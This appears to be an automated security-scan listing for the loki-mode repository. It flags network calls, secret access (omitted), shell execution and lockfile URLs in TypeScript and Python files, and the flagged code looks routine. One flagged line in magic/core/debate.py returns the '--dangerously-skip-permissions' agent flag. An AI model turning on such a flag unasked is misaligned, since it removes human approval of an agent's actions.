- Executable scriptline 1
Executable file
loki-ts/src/util/group_integrate.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/holdout.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/intent_card.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/js_resolve.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/lock_ecosystems.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/modernize_coordinator.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/modernize_unit.ts
- Executable scriptline 1
Executable file - Network accessline 49
/** Fetch repo@ref into an empty dest. The fresh repo has no config of its own, so the one token-bearing call (fetch) cannot run * repo-defined code; checkout then runs token-free with safe_git's blanked drivers. Throws with the git reaso - Network accessline 50
* repo-defined code; checkout then runs token-free with safe_git's blanked drivers. Throws with the git reason on failure. */ export function fetchRepoRef(repo: string, ref: string, dest: string, urlFor: (repo: string) => string = (r) => ` - Network accessline 51
export function fetchRepoRef(repo: string, ref: string, dest: string, urlFor: (repo: string) => string = (r) => `https://github.com/${r}.git`): void { const io = { stdio: ["ignore", "pipe", "pipe"] as ["ignore", "pipe", "pipe"], timeout:
loki-ts/src/util/mutation_proof.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/one_line_goal.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/outbox.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/paths.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/pr_lessons.ts
- Executable scriptline 1
Executable file - Network accessline 114
async function ghText(gh: GhClient, args: string[]): Promise<string> { const r = await gh(args); if (r.code === 127) throw new GhError("gh CLI not found. Install GitHub CLI (https://cli.github.com) and run `gh auth login`."); - Network accessline 115
const r = await gh(args); if (r.code === 127) throw new GhError("gh CLI not found. Install GitHub CLI (https://cli.github.com) and run `gh auth login`."); if (r.code !== 0) { - Network accessline 116
if (r.code === 127) throw new GhError("gh CLI not found. Install GitHub CLI (https://cli.github.com) and run `gh auth login`."); - Network accessline 193
const rejected = !meta.merged_at && meta.state === "closed" && process.env["LOKI_LESSONS_REJECTED"] === "1"; if (!meta.merged_at && !rejected) throw new GhError(`${ref} is not merged; lessons are only learned from merged PRs.`); const p - Network accessline 194
if (!meta.merged_at && !rejected) throw new GhError(`${ref} is not merged; lessons are only learned from merged PRs.`); const prUrl = meta.html_url ?? `https://github.com/${pr.repo}/pull/${pr.num}`; let inline = parsePages(await ghText( - Network accessline 195
const prUrl = meta.html_url ?? `https://github.com/${pr.repo}/pull/${pr.num}`;
loki-ts/src/util/producer_fingerprint.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/python.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/python_build_check.ts
- Executable scriptline 1
Executable file - Dangerous shell operationline 99
const r = await exec(argv, { cwd, timeoutMs, env: {} }); - Dangerous shell operationline 112
const importable = (await exec(["python3", "-c", "import pytest"], { cwd, timeoutMs: 30_000, env: {} })).exitCode === 0; - Dangerous shell operationline 148
const r = await exec( - Access to secretsline 157
[Credential-related source omitted] - Access to secretsline 159
[Credential-related source omitted] - Access to secretsline 163
[Credential-related source omitted] - Dangerous shell operationline 200
const r = await exec(["npm", "run", "build", "--if-present"], { cwd: tree, timeoutMs, env: TOKEN_FREE_ENV });
loki-ts/src/util/receipt_bundle.ts
loki-ts/src/util/receipt_signer.ts
- Executable scriptline 1
Executable file - Access to secretsline 56
[Credential-related source omitted] - Network accessline 258
try { const target = `${url.replace(/\/+$/, "")}/.well-known/loki-provenance.json`; const res = await fetch(target, { signal: AbortSignal.timeout(PROVENANCE_TIMEOUT_MS), redirect: "error" }); - Network accessline 259
const target = `${url.replace(/\/+$/, "")}/.well-known/loki-provenance.json`; const res = await fetch(target, { signal: AbortSignal.timeout(PROVENANCE_TIMEOUT_MS), redirect: "error" }); if (res.status !== 200) return { problem: `fet - Network accessline 260
const res = await fetch(target, { signal: AbortSignal.timeout(PROVENANCE_TIMEOUT_MS), redirect: "error" }); - Network accessline 305
/** `loki verify --url https://host [--expect-sha SHA] [--receipt FILE] [--pubkey FILE]` and `--sign-provenance FILE`. Null when neither flag is present. */
loki-ts/src/util/receipt_surface.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/redact.ts
loki-ts/src/util/relevance.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/reviewer_brief.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/run_cap.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/run_control.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/run_identity.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/run_outputs.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/run_pid.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/run_shape.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/run_summary.ts
- Executable scriptline 1
Executable file - Access to secretsline 72
[Credential-related source omitted] - Dangerous shell operationline 262
const rm = f.requirements === undefined ? readJson(join(f.repoDir, ".loki", "state", "requirements-map.json")) as { requirements?: HandoffInput["requirements"] } | null : { requirements: f.requirements }; // the in-memory map of THIS run wi
loki-ts/src/util/runner_boot.ts
loki-ts/src/util/safe_git.ts
loki-ts/src/util/satisfaction.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/seal_drift.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/secure_scan.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/shell.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/skill_checks.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/slack_events.ts
- Executable scriptline 1
Executable file - Access to secretsline 35
[Credential-related source omitted] - Network accessline 36
if (!url || !secret) return; const body = JSON.stringify(webhookPayload(event, f)); try { await fetch(url, { method: "POST", headers: { "content-type": "application/json", "x-loki-signature": signWebhookBody(secret, body) }, body }); } - Network accessline 37
const body = JSON.stringify(webhookPayload(event, f)); try { await fetch(url, { method: "POST", headers: { "content-type": "application/json", "x-loki-signature": signWebhookBody(secret, body) }, body }); } catch (e) { process.stderr.wr - Network accessline 38
try { await fetch(url, { method: "POST", headers: { "content-type": "application/json", "x-loki-signature": signWebhookBody(secret, body) }, body }); } - Network accessline 45
const send = async () => { if (!url) return; try { await fetch(url, { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify(slackPayload(event, f)) }); } - Network accessline 46
if (!url) return; try { await fetch(url, { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify(slackPayload(event, f)) }); } catch (e) { process.stderr.write(`engine10: slack notify failed: ${String - Network accessline 47
try { await fetch(url, { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify(slackPayload(event, f)) }); }
loki-ts/src/util/spec_file.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/stack_tools.ts
- Executable scriptline 1
Executable file - Network accessline 9
export const STACK_TOOLS: Partial<Record<RunnerName, { tool: string; wrapper?: string; install: string }>> = { maven: { tool: "mvn", wrapper: "mvnw", install: "install Apache Maven (https://maven.apache.org/install.html) or add the mvnw w - Network accessline 10
maven: { tool: "mvn", wrapper: "mvnw", install: "install Apache Maven (https://maven.apache.org/install.html) or add the mvnw wrapper to the repo" }, - Network accessline 11
gradle: { tool: "gradle", wrapper: "gradlew", install: "install Gradle (https://gradle.org/install/) or add the gradlew wrapper to the repo" }, javac: { tool: "javac", install: "install a JDK (https://adoptium.net)" }, dotnet: { tool: " - Network accessline 12
javac: { tool: "javac", install: "install a JDK (https://adoptium.net)" }, dotnet: { tool: "dotnet", install: "install the .NET SDK (https://dotnet.microsoft.com/download)" }, }; - Network accessline 13
dotnet: { tool: "dotnet", install: "install the .NET SDK (https://dotnet.microsoft.com/download)" },
loki-ts/src/util/steer.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/term_width.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/test_file_text.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/test_guard.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/tier.ts
loki-ts/src/util/ts_signatures.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/update_check.ts
- Executable scriptline 1
Executable file - Network accessline 18
const REGISTRY_URL = "https://registry.npmjs.org/loki-mode/latest"; - Network accessline 21
// A failed fetch (offline, timeout) is remembered this long so an offline - Network accessline 128
async function fetchLatest(): Promise<string | null> { try { const res = await fetch(REGISTRY_URL, { - Network accessline 129
try { const res = await fetch(REGISTRY_URL, { signal: AbortSignal.timeout(FETCH_TIMEOUT_MS), - Network accessline 130
const res = await fetch(REGISTRY_URL, { - Network accessline 256
write( `Loki Mode upgraded ${seen} -> ${current}. ` + `What is new: https://github.com/asklokesh/loki-mode/releases/tag/v${current}\n`, - Network accessline 257
`Loki Mode upgraded ${seen} -> ${current}. ` + `What is new: https://github.com/asklokesh/loki-mode/releases/tag/v${current}\n`, ); - Network accessline 258
`What is new: https://github.com/asklokesh/loki-mode/releases/tag/v${current}\n`,
loki-ts/src/util/wall_cases.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/wall_knobs.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/wall_owned.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/yaml_key.ts
- Executable scriptline 1
Executable file
loki-ts/src/version.ts
- Executable scriptline 1
Executable file
lokistore/__init__.py
- Executable scriptline 1
Executable file
lokistore/base.py
- Executable scriptline 1
Executable file
lokistore/cloud.py
lokistore/factory.py
- Executable scriptline 1
Executable file - Access to secretsline 41
[Credential-related source omitted] - Access to secretsline 44
[Credential-related source omitted] - Access to secretsline 51
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 57
[Credential-related source omitted] - Access to secretsline 60
[Credential-related source omitted] - Access to secretsline 63
[Credential-related source omitted] - Access to secretsline 169
[Credential-related source omitted] - Access to secretsline 174
[Credential-related source omitted] - Access to secretsline 186
[Credential-related source omitted]
lokistore/local.py
- Executable scriptline 1
Executable file
magic/__init__.py
- Executable scriptline 1
Executable file
magic/core/__init__.py
- Executable scriptline 1
Executable file
magic/core/debate.py
- Executable scriptline 1
Executable file - Access to secretsline 136
[Credential-related source omitted] - Instruction override signalline 495
[Credential-related source omitted] - Access to secretsline 495
[Credential-related source omitted] - Instruction override signalline 496
return ["--permission-mode", "plan"] return ["--dangerously-skip-permissions"] finally: - Instruction override signalline 497
return ["--dangerously-skip-permissions"] - Access to secretsline 512
[Credential-related source omitted]
magic/core/design_tokens.py
- Executable scriptline 1
Executable file
magic/core/freshness.py
- Executable scriptline 1
Executable file
magic/core/generator.py
magic/core/memory_bridge.py
- Executable scriptline 1
Executable file
magic/core/prd_scanner.py
- Executable scriptline 1
Executable file
magic/core/registry.py
- Executable scriptline 1
Executable file
magic/core/spec.py
- Executable scriptline 1
Executable file
magic/registry/schema.json
mcp/__init__.py
- Executable scriptline 1
Executable file
mcp/_sdk_loader.py
- Executable scriptline 1
#!/usr/bin/env python3
mcp/cp_tools.py
- Executable scriptline 1
Executable file - Access to secretsline 7
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Network accessline 84
def go(path: str, query: Dict[str, str]) -> Tuple[int, bytes]: qs = urllib.parse.urlencode(query) req = urllib.request.Request(base_url + path + ("?" + qs if qs else ""), method="GET") - Network accessline 85
qs = urllib.parse.urlencode(query) req = urllib.request.Request(base_url + path + ("?" + qs if qs else ""), method="GET") req.add_header("Accept", "application/json, text/plain") - Network accessline 86
req = urllib.request.Request(base_url + path + ("?" + qs if qs else ""), method="GET") - Access to secretsline 104
[Credential-related source omitted]
mcp/learning_collector.py
- Executable scriptline 1
Executable file
mcp/lsp_proxy.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 1369
[Credential-related source omitted] - Access to secretsline 1520
[Credential-related source omitted] - Access to secretsline 1554
[Credential-related source omitted] - Access to secretsline 1580
[Credential-related source omitted] - Access to secretsline 1584
[Credential-related source omitted] - Network accessline 1588
import uvicorn logger.info("MCP Streamable HTTP listening on http://%s:%d/mcp", host, port) - Network accessline 1589
logger.info("MCP Streamable HTTP listening on http://%s:%d/mcp", host, port)
mcp/magic_tools.py
- Executable scriptline 1
Executable file
mcp/managed_tools.py
- Executable scriptline 1
Executable file
mcp/server.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 709
[Credential-related source omitted] - Access to secretsline 2264
[Credential-related source omitted] - Access to secretsline 2265
[Credential-related source omitted] - Access to secretsline 2266
[Credential-related source omitted] - Access to secretsline 2315
[Credential-related source omitted] - Access to secretsline 2334
[Credential-related source omitted] - Access to secretsline 3495
[Credential-related source omitted] - Access to secretsline 3534
[Credential-related source omitted] - Access to secretsline 3560
[Credential-related source omitted] - Access to secretsline 3564
[Credential-related source omitted] - Network accessline 3568
import uvicorn logger.info("MCP Streamable HTTP listening on http://%s:%d/mcp", host, port) - Network accessline 3569
logger.info("MCP Streamable HTTP listening on http://%s:%d/mcp", host, port) - Access to secretsline 3612
[Credential-related source omitted] - Access to secretsline 3646
[Credential-related source omitted]
mcp/v10_tools.py
memory/__init__.py
- Executable scriptline 1
Executable file
memory/app_graph.py
memory/consolidation.py
- Executable scriptline 1
Executable file
memory/cross_project.py
- Executable scriptline 1
Executable file
memory/embeddings.py
- Executable scriptline 1
Executable file - Access to secretsline 96
[Credential-related source omitted] - Access to secretsline 97
[Credential-related source omitted] - Access to secretsline 98
[Credential-related source omitted] - Access to secretsline 161
[Credential-related source omitted] - Access to secretsline 162
[Credential-related source omitted] - Access to secretsline 163
[Credential-related source omitted] - Access to secretsline 164
[Credential-related source omitted] - Access to secretsline 165
[Credential-related source omitted] - Access to secretsline 166
[Credential-related source omitted] - Access to secretsline 194
[Credential-related source omitted] - Access to secretsline 195
[Credential-related source omitted] - Access to secretsline 196
[Credential-related source omitted] - Access to secretsline 197
[Credential-related source omitted] - Access to secretsline 198
[Credential-related source omitted] - Access to secretsline 199
[Credential-related source omitted] - Access to secretsline 200
[Credential-related source omitted] - Access to secretsline 201
[Credential-related source omitted] - Access to secretsline 202
[Credential-related source omitted] - Access to secretsline 203
[Credential-related source omitted] - Access to secretsline 254
[Credential-related source omitted] - Access to secretsline 255
[Credential-related source omitted] - Access to secretsline 256
[Credential-related source omitted] - Access to secretsline 679
[Credential-related source omitted] - Access to secretsline 684
[Credential-related source omitted] - Access to secretsline 703
[Credential-related source omitted] - Access to secretsline 754
[Credential-related source omitted] - Access to secretsline 762
[Credential-related source omitted] - Access to secretsline 767
[Credential-related source omitted] - Access to secretsline 788
[Credential-related source omitted] - Access to secretsline 829
[Credential-related source omitted] - Access to secretsline 836
[Credential-related source omitted] - Access to secretsline 844
[Credential-related source omitted] - Access to secretsline 849
[Credential-related source omitted] - Access to secretsline 867
[Credential-related source omitted] - Access to secretsline 908
[Credential-related source omitted] - Access to secretsline 993
[Credential-related source omitted] - Access to secretsline 997
[Credential-related source omitted] - Access to secretsline 1004
[Credential-related source omitted] - Access to secretsline 1008
[Credential-related source omitted] - Access to secretsline 1015
[Credential-related source omitted] - Access to secretsline 1020
[Credential-related source omitted] - Access to secretsline 1024
[Credential-related source omitted]
memory/engine.py
- Executable scriptline 1
Executable file
memory/error_log.py
- Executable scriptline 1
Executable file
memory/ingest.py
- Executable scriptline 1
Executable file - Access to secretsline 76
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Access to secretsline 90
[Credential-related source omitted] - Access to secretsline 123
[Credential-related source omitted] - Access to secretsline 138
[Credential-related source omitted] - Access to secretsline 454
[Credential-related source omitted]
memory/knowledge_graph.py
- Executable scriptline 1
Executable file
memory/layers/__init__.py
- Executable scriptline 1
Executable file
memory/layers/index_layer.py
- Executable scriptline 1
Executable file
memory/layers/loader.py
- Executable scriptline 1
Executable file
memory/layers/timeline_layer.py
- Executable scriptline 1
Executable file
memory/managed_memory/__init__.py
memory/managed_memory/_beta.py
- Executable scriptline 1
Executable file
memory/managed_memory/client.py
- Executable scriptline 1
Executable file - Access to secretsline 9
[Credential-related source omitted] - Access to secretsline 21
[Credential-related source omitted] - Access to secretsline 39
[Credential-related source omitted] - Access to secretsline 40
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 51
[Credential-related source omitted] - Access to secretsline 68
[Credential-related source omitted] - Access to secretsline 77
[Credential-related source omitted]
memory/managed_memory/events.py
memory/managed_memory/fakes.py
- Executable scriptline 1
Executable file
memory/managed_memory/retrieve.py
memory/managed_memory/shadow_write.py
memory/namespace.py
memory/replay.py
- Executable scriptline 1
Executable file
memory/retrieval.py
- Executable scriptline 1
Executable file
memory/schemas.py
- Executable scriptline 1
Executable file
memory/storage.py
memory/token_economics.py
- Executable scriptline 1
Executable file
memory/unified_access.py
- Executable scriptline 1
Executable file
memory/vector_index.py
- Executable scriptline 1
Executable file
package-lock.json
- Network accessline 46
"node_modules/@anthropic-ai/claude-agent-sdk": { "version": "0.3.316", "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk/-/claude-agent-sdk-0.3.316.tgz", - Network accessline 47
"version": "0.3.316", "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk/-/claude-agent-sdk-0.3.316.tgz", "integrity": "sha512-mCMr0que5kIy80JslJub6WFDB2+GYRGWNeVgSZaBpkBwXrr4wnRMnnGHitkA2BEJ5QP5xWyc6YH/6do/e - Network accessline 48
"resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk/-/claude-agent-sdk-0.3.316.tgz", - Network accessline 71
"node_modules/@anthropic-ai/claude-agent-sdk-darwin-arm64": { "version": "0.3.316", "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-darwin-arm64/-/claude-agent-sdk-darwin-arm64-0.3.316.tgz", - Network accessline 72
"version": "0.3.316", "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-darwin-arm64/-/claude-agent-sdk-darwin-arm64-0.3.316.tgz", "integrity": "sha512-1I1oJ/YGqq4pFQvJqycD2e8pbsUQLLR+DwEzG9jQAGCoSKkxP1TBfHp - Network accessline 73
"resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-darwin-arm64/-/claude-agent-sdk-darwin-arm64-0.3.316.tgz", - Network accessline 84
"node_modules/@anthropic-ai/claude-agent-sdk-darwin-x64": { "version": "0.3.316", "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-darwin-x64/-/claude-agent-sdk-darwin-x64-0.3.316.tgz", - Network accessline 85
"version": "0.3.316", "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-darwin-x64/-/claude-agent-sdk-darwin-x64-0.3.316.tgz", "integrity": "sha512-gzNncKrID/6yJIKCAuF/pY1kfygQZ4dU0J+MNFl0bU+iQW65ERoIyoghYVf - Network accessline 86
"resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-darwin-x64/-/claude-agent-sdk-darwin-x64-0.3.316.tgz", - Network accessline 97
"node_modules/@anthropic-ai/claude-agent-sdk-linux-arm64": { "version": "0.3.316", "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-arm64/-/claude-agent-sdk-linux-arm64-0.3.316.tgz", - Network accessline 98
"version": "0.3.316", "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-arm64/-/claude-agent-sdk-linux-arm64-0.3.316.tgz", "integrity": "sha512-+lm9XSw/em14yMZ41fbo80kfblbylfBQc9nYS6GgLoZVvgT3wSeEbv88v - Network accessline 99
"resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-arm64/-/claude-agent-sdk-linux-arm64-0.3.316.tgz", - Network accessline 113
"node_modules/@anthropic-ai/claude-agent-sdk-linux-arm64-musl": { "version": "0.3.316", "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-arm64-musl/-/claude-agent-sdk-linux-arm64-musl-0.3.316.tgz", - Network accessline 114
"version": "0.3.316", "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-arm64-musl/-/claude-agent-sdk-linux-arm64-musl-0.3.316.tgz", "integrity": "sha512-1qqaEdsAs6eipEQQ4bMAWiwDjIouyA/YN5KQWS0/+kuPb+G - Network accessline 115
"resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-arm64-musl/-/claude-agent-sdk-linux-arm64-musl-0.3.316.tgz", - Network accessline 129
"node_modules/@anthropic-ai/claude-agent-sdk-linux-x64": { "version": "0.3.316", "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-x64/-/claude-agent-sdk-linux-x64-0.3.316.tgz", - Network accessline 130
"version": "0.3.316", "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-x64/-/claude-agent-sdk-linux-x64-0.3.316.tgz", "integrity": "sha512-+csYyGkHziNp4It+ZykqTmXRZBuNrieTiBnji+zwAxNmLLCWz8xEWjNmwhaLP - Network accessline 131
"resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-x64/-/claude-agent-sdk-linux-x64-0.3.316.tgz", - Network accessline 145
"node_modules/@anthropic-ai/claude-agent-sdk-linux-x64-musl": { "version": "0.3.316", "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-x64-musl/-/claude-agent-sdk-linux-x64-musl-0.3.316.tgz", - Network accessline 146
"version": "0.3.316", "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-x64-musl/-/claude-agent-sdk-linux-x64-musl-0.3.316.tgz", "integrity": "sha512-pMG9MRkjxMMbIxpwg/cKz6JorNjZtJOA9l/fifRQ/A01zGTKrRI - Network accessline 147
"resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-x64-musl/-/claude-agent-sdk-linux-x64-musl-0.3.316.tgz", - Network accessline 161
"node_modules/@anthropic-ai/claude-agent-sdk-win32-arm64": { "version": "0.3.316", "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-win32-arm64/-/claude-agent-sdk-win32-arm64-0.3.316.tgz", - Network accessline 162
"version": "0.3.316", "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-win32-arm64/-/claude-agent-sdk-win32-arm64-0.3.316.tgz", "integrity": "sha512-Xj4iTS8NsB6isGhnZEnaIXIpUcSspv/lyIVnfPZjVGwuttaVHjq4IxfDo - Network accessline 163
"resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-win32-arm64/-/claude-agent-sdk-win32-arm64-0.3.316.tgz", - Network accessline 174
"node_modules/@anthropic-ai/claude-agent-sdk-win32-x64": { "version": "0.3.316", "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-win32-x64/-/claude-agent-sdk-win32-x64-0.3.316.tgz", - Network accessline 175
"version": "0.3.316", "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-win32-x64/-/claude-agent-sdk-win32-x64-0.3.316.tgz", "integrity": "sha512-FzQA1zHbYJTtLR9nn1McwkGYeiEmroTmYjIg7xZqo5eweJ8U/DESZKR/QdfF0 - Network accessline 176
"resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-win32-x64/-/claude-agent-sdk-win32-x64-0.3.316.tgz", - Network accessline 187
"node_modules/@anthropic-ai/sdk": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-1.3.0.tgz", - Network accessline 188
"version": "1.3.0", "resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-1.3.0.tgz", "integrity": "sha512-k7z9BlLLPxfZH+ov7dS6EnaN/wiZeV8YNT1LZfrpAHIy7oY7pHr4UzirF9f2OlHtFEnRBOX+AZQ91Y5fK+TPTw==", - Network accessline 189
"resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-1.3.0.tgz", - Network accessline 211
"node_modules/@asamuzakjp/css-color": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/@asamuzakjp/css-color/-/css-color-3.2.0.tgz", - Network accessline 212
"version": "3.2.0", "resolved": "https://registry.npmjs.org/@asamuzakjp/css-color/-/css-color-3.2.0.tgz", "integrity": "sha512-K1A6z8tS3XsmCMM86xoWdn7Fkdn9m6RSVtocUrJYIwZnFVkng/PvkEoWtOWmP+Scc6saYWHWZYbndEEXxl24jw==", - Network accessline 213
"resolved": "https://registry.npmjs.org/@asamuzakjp/css-color/-/css-color-3.2.0.tgz", - Network accessline 225
"node_modules/@asamuzakjp/css-color/node_modules/lru-cache": { "version": "10.4.3", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", - Network accessline 226
"version": "10.4.3", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", - Network accessline 227
"resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", - Network accessline 232
"node_modules/@babel/code-frame": { "version": "7.29.0", "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz", - Network accessline 233
"version": "7.29.0", "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz", "integrity": "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw==", - Network accessline 234
"resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz", - Network accessline 247
"node_modules/@babel/compat-data": { "version": "7.29.0", "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.0.tgz", - Network accessline 248
"version": "7.29.0", "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.0.tgz", "integrity": "sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg==", - Network accessline 249
"resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.0.tgz", - Network accessline 257
"node_modules/@babel/core": { "version": "7.29.0", "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.0.tgz", - Network accessline 258
"version": "7.29.0", "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.0.tgz", "integrity": "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==", - Network accessline 259
"resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.0.tgz", - Network accessline 283
"funding": { "type": "opencollective", "url": "https://opencollective.com/babel" - Network accessline 284
"type": "opencollective", "url": "https://opencollective.com/babel" } - Network accessline 285
"url": "https://opencollective.com/babel" - Network accessline 288
"node_modules/@babel/core/node_modules/semver": { "version": "6.3.1", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", - Network accessline 289
"version": "6.3.1", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", - Network accessline 290
"resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", - Network accessline 298
"node_modules/@babel/generator": { "version": "7.29.1", "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.1.tgz", - Network accessline 299
"version": "7.29.1", "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.1.tgz", "integrity": "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw==", - Network accessline 300
"resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.1.tgz", - Network accessline 315
"node_modules/@babel/helper-compilation-targets": { "version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.28.6.tgz", - Network accessline 316
"version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.28.6.tgz", "integrity": "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhu - Network accessline 317
"resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.28.6.tgz", - Network accessline 332
"node_modules/@babel/helper-compilation-targets/node_modules/semver": { "version": "6.3.1", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", - Network accessline 333
"version": "6.3.1", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", - Network accessline 334
"resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", - Network accessline 342
"node_modules/@babel/helper-globals": { "version": "7.28.0", "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", - Network accessline 343
"version": "7.28.0", "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==", - Network accessline 344
